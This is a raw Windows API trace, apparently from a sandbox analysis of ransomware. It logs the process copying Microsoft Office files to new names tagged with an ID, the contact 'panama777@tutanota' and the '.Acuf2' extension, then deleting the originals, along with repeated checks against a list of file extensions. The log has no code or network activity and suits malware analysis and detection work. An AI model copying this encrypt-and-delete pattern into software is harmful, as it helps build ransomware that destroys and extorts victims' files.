	[0263.718] WriteFile (in: hFile=0x320, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x1bf90, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x1bf90, lpOverlapped=0x0) returned 1
	[0263.720] ReadFile (in: hFile=0x28c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.720] WriteFile (in: hFile=0x320, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xfa, lpOverlapped=0x0) returned 1
	[0263.721] SetEndOfFile (hFile=0x320) returned 1
	[0263.721] CloseHandle (hObject=0x320) returned 1
	[0263.721] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.721] SetEndOfFile (hFile=0x28c) returned 1
	[0263.725] CloseHandle (hObject=0x28c) returned 1
	[0263.725] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.725] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.rest.idx_dll")) returned 1
	[0263.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67
	[0263.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67
	[0263.726] lstrlenW (lpString=".doc") returned 4
	[0263.726] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1
	[0263.726] lstrlenW (lpString=".docx") returned 5
	[0263.726] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1
	[0263.726] lstrlenW (lpString=".pdf") returned 4
	[0263.726] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1
	[0263.726] lstrlenW (lpString=".xls") returned 4
	[0263.726] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1
	[0263.726] lstrlenW (lpString=".xlsx") returned 5
	[0263.726] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1
	[0263.726] lstrlenW (lpString=".ppt") returned 4
	[0263.726] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1
	[0263.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67
	[0263.726] lstrlenW (lpString=".zip") returned 4
	[0263.726] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1
	[0263.726] lstrlenW (lpString=".rar") returned 4
	[0263.726] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1
	[0263.726] lstrlenW (lpString=".bz2") returned 4
	[0263.726] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1
	[0263.726] lstrlenW (lpString=".7z") returned 3
	[0263.726] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0263.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67
	[0263.726] lstrlenW (lpString=".dbf") returned 4
	[0263.726] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1
	[0263.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67
	[0263.726] lstrlenW (lpString=".1cd") returned 4
	[0263.727] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1
	[0263.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67
	[0263.727] lstrlenW (lpString=".jpg") returned 4
	[0263.727] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1
	[0263.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67
	[0263.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67
	[0263.727] lstrlenW (lpString=".doc") returned 4
	[0263.727] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1
	[0263.727] lstrlenW (lpString=".docx") returned 5
	[0263.727] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1
	[0263.727] lstrlenW (lpString=".pdf") returned 4
	[0263.727] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1
	[0263.727] lstrlenW (lpString=".xls") returned 4
	[0263.727] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1
	[0263.727] lstrlenW (lpString=".xlsx") returned 5
	[0263.727] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1
	[0263.727] lstrlenW (lpString=".ppt") returned 4
	[0263.727] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1
	[0263.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67
	[0263.727] lstrlenW (lpString=".zip") returned 4
	[0263.727] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1
	[0263.727] lstrlenW (lpString=".rar") returned 4
	[0263.727] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1
	[0263.727] lstrlenW (lpString=".bz2") returned 4
	[0263.727] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1
	[0263.727] lstrlenW (lpString=".7z") returned 3
	[0263.727] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0263.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67
	[0263.727] lstrlenW (lpString=".dbf") returned 4
	[0263.727] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1
	[0263.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67
	[0263.728] lstrlenW (lpString=".1cd") returned 4
	[0263.728] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1
	[0263.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67
	[0263.728] lstrlenW (lpString=".jpg") returned 4
	[0263.728] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1
	[0263.728] lstrcmpiW (lpString1=".VSL", lpString2=".Acuf2") returned 1
	[0263.728] lstrlenW (lpString="ORGCHART.VSL") returned 12
	[0263.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgchart.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0263.933] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=57248) returned 1
	[0263.933] CloseHandle (hObject=0x320) returned 1
	[0263.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgchart.vsl")) returned 0x20
	[0263.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgchart.vsl.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgchart.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0263.933] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.933] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgchart.vsl.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0263.934] GetLastError () returned 0x0
	[0263.934] ReadFile (in: hFile=0x320, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0xdfa0, lpOverlapped=0x0) returned 1
	[0263.974] WriteFile (in: hFile=0x344, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xdfb0, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xdfb0, lpOverlapped=0x0) returned 1
	[0263.977] ReadFile (in: hFile=0x320, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.977] WriteFile (in: hFile=0x344, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0263.977] SetEndOfFile (hFile=0x344) returned 1
	[0263.977] CloseHandle (hObject=0x344) returned 1
	[0263.977] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.977] SetEndOfFile (hFile=0x320) returned 1
	[0263.980] CloseHandle (hObject=0x320) returned 1
	[0263.980] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.083] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgchart.vsl")) returned 1
	[0264.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60
	[0264.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60
	[0264.144] lstrlenW (lpString=".doc") returned 4
	[0264.145] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1
	[0264.145] lstrlenW (lpString=".docx") returned 5
	[0264.145] lstrcmpiW (lpString1=".docx", lpString2="T.VSL") returned -1
	[0264.145] lstrlenW (lpString=".pdf") returned 4
	[0264.145] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1
	[0264.145] lstrlenW (lpString=".xls") returned 4
	[0264.145] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1
	[0264.145] lstrlenW (lpString=".xlsx") returned 5
	[0264.145] lstrcmpiW (lpString1=".xlsx", lpString2="T.VSL") returned -1
	[0264.145] lstrlenW (lpString=".ppt") returned 4
	[0264.145] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1
	[0264.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60
	[0264.145] lstrlenW (lpString=".zip") returned 4
	[0264.145] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1
	[0264.145] lstrlenW (lpString=".rar") returned 4
	[0264.145] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1
	[0264.145] lstrlenW (lpString=".bz2") returned 4
	[0264.145] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1
	[0264.145] lstrlenW (lpString=".7z") returned 3
	[0264.145] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1
	[0264.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60
	[0264.145] lstrlenW (lpString=".dbf") returned 4
	[0264.145] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1
	[0264.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60
	[0264.145] lstrlenW (lpString=".1cd") returned 4
	[0264.145] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1
	[0264.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60
	[0264.145] lstrlenW (lpString=".jpg") returned 4
	[0264.145] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1
	[0264.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60
	[0264.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60
	[0264.146] lstrlenW (lpString=".doc") returned 4
	[0264.146] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1
	[0264.146] lstrlenW (lpString=".docx") returned 5
	[0264.146] lstrcmpiW (lpString1=".docx", lpString2="T.VSL") returned -1
	[0264.146] lstrlenW (lpString=".pdf") returned 4
	[0264.146] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1
	[0264.146] lstrlenW (lpString=".xls") returned 4
	[0264.146] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1
	[0264.146] lstrlenW (lpString=".xlsx") returned 5
	[0264.146] lstrcmpiW (lpString1=".xlsx", lpString2="T.VSL") returned -1
	[0264.146] lstrlenW (lpString=".ppt") returned 4
	[0264.146] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1
	[0264.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60
	[0264.146] lstrlenW (lpString=".zip") returned 4
	[0264.146] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1
	[0264.146] lstrlenW (lpString=".rar") returned 4
	[0264.146] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1
	[0264.146] lstrlenW (lpString=".bz2") returned 4
	[0264.146] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1
	[0264.146] lstrlenW (lpString=".7z") returned 3
	[0264.146] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1
	[0264.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60
	[0264.146] lstrlenW (lpString=".dbf") returned 4
	[0264.146] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1
	[0264.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60
	[0264.146] lstrlenW (lpString=".1cd") returned 4
	[0264.146] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1
	[0264.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60
	[0264.146] lstrlenW (lpString=".jpg") returned 4
	[0264.146] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1
	[0264.147] lstrcmpiW (lpString1=".HXS", lpString2=".Acuf2") returned 1
	[0264.147] lstrlenW (lpString="OUTLOOK.HXS") returned 11
	[0264.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0264.147] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=5000295) returned 1
	[0264.147] CloseHandle (hObject=0x358) returned 1
	[0264.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hxs")) returned 0x20
	[0264.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hxs.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.147] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hxs.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0264.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59
	[0264.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59
	[0264.147] lstrlenW (lpString=".doc") returned 4
	[0264.147] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1
	[0264.147] lstrlenW (lpString=".docx") returned 5
	[0264.147] lstrcmpiW (lpString1=".docx", lpString2="K.HXS") returned -1
	[0264.148] lstrlenW (lpString=".pdf") returned 4
	[0264.148] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1
	[0264.148] lstrlenW (lpString=".xls") returned 4
	[0264.148] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1
	[0264.148] lstrlenW (lpString=".xlsx") returned 5
	[0264.148] lstrcmpiW (lpString1=".xlsx", lpString2="K.HXS") returned -1
	[0264.148] lstrlenW (lpString=".ppt") returned 4
	[0264.148] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1
	[0264.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59
	[0264.148] lstrlenW (lpString=".zip") returned 4
	[0264.148] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1
	[0264.148] lstrlenW (lpString=".rar") returned 4
	[0264.148] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1
	[0264.148] lstrlenW (lpString=".bz2") returned 4
	[0264.148] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1
	[0264.148] lstrlenW (lpString=".7z") returned 3
	[0264.148] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1
	[0264.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59
	[0264.148] lstrlenW (lpString=".dbf") returned 4
	[0264.148] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1
	[0264.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59
	[0264.148] lstrlenW (lpString=".1cd") returned 4
	[0264.148] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1
	[0264.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59
	[0264.148] lstrlenW (lpString=".jpg") returned 4
	[0264.148] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1
	[0264.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59
	[0264.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59
	[0264.148] lstrlenW (lpString=".doc") returned 4
	[0264.148] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1
	[0264.148] lstrlenW (lpString=".docx") returned 5
	[0264.148] lstrcmpiW (lpString1=".docx", lpString2="K.HXS") returned -1
	[0264.149] lstrlenW (lpString=".pdf") returned 4
	[0264.149] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1
	[0264.149] lstrlenW (lpString=".xls") returned 4
	[0264.149] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1
	[0264.149] lstrlenW (lpString=".xlsx") returned 5
	[0264.149] lstrcmpiW (lpString1=".xlsx", lpString2="K.HXS") returned -1
	[0264.149] lstrlenW (lpString=".ppt") returned 4
	[0264.149] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1
	[0264.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59
	[0264.149] lstrlenW (lpString=".zip") returned 4
	[0264.149] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1
	[0264.149] lstrlenW (lpString=".rar") returned 4
	[0264.149] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1
	[0264.149] lstrlenW (lpString=".bz2") returned 4
	[0264.149] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1
	[0264.149] lstrlenW (lpString=".7z") returned 3
	[0264.149] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1
	[0264.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59
	[0264.149] lstrlenW (lpString=".dbf") returned 4
	[0264.149] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1
	[0264.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59
	[0264.149] lstrlenW (lpString=".1cd") returned 4
	[0264.149] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1
	[0264.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59
	[0264.149] lstrlenW (lpString=".jpg") returned 4
	[0264.149] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1
	[0264.149] lstrcmpiW (lpString1=".HXC", lpString2=".Acuf2") returned 1
	[0264.149] lstrlenW (lpString="OUTLOOK_COL.HXC") returned 15
	[0264.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0264.150] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=631) returned 1
	[0264.150] CloseHandle (hObject=0x358) returned 1
	[0264.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxc")) returned 0x20
	[0264.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxc.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0264.150] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.150] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxc.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0264.151] GetLastError () returned 0x0
	[0264.151] ReadFile (in: hFile=0x358, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x277, lpOverlapped=0x0) returned 1
	[0264.203] WriteFile (in: hFile=0x218, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x280, lpOverlapped=0x0) returned 1
	[0264.204] ReadFile (in: hFile=0x358, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.204] WriteFile (in: hFile=0x218, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xf2, lpOverlapped=0x0) returned 1
	[0264.204] SetEndOfFile (hFile=0x218) returned 1
	[0264.205] CloseHandle (hObject=0x218) returned 1
	[0264.205] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.205] SetEndOfFile (hFile=0x358) returned 1
	[0264.207] CloseHandle (hObject=0x358) returned 1
	[0264.207] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.207] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxc")) returned 1
	[0264.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63
	[0264.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63
	[0264.207] lstrlenW (lpString=".doc") returned 4
	[0264.207] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1
	[0264.207] lstrlenW (lpString=".docx") returned 5
	[0264.207] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1
	[0264.207] lstrlenW (lpString=".pdf") returned 4
	[0264.207] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1
	[0264.207] lstrlenW (lpString=".xls") returned 4
	[0264.207] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1
	[0264.207] lstrlenW (lpString=".xlsx") returned 5
	[0264.207] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1
	[0264.208] lstrlenW (lpString=".ppt") returned 4
	[0264.208] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1
	[0264.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63
	[0264.208] lstrlenW (lpString=".zip") returned 4
	[0264.208] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1
	[0264.208] lstrlenW (lpString=".rar") returned 4
	[0264.208] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1
	[0264.208] lstrlenW (lpString=".bz2") returned 4
	[0264.208] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1
	[0264.208] lstrlenW (lpString=".7z") returned 3
	[0264.208] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1
	[0264.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63
	[0264.208] lstrlenW (lpString=".dbf") returned 4
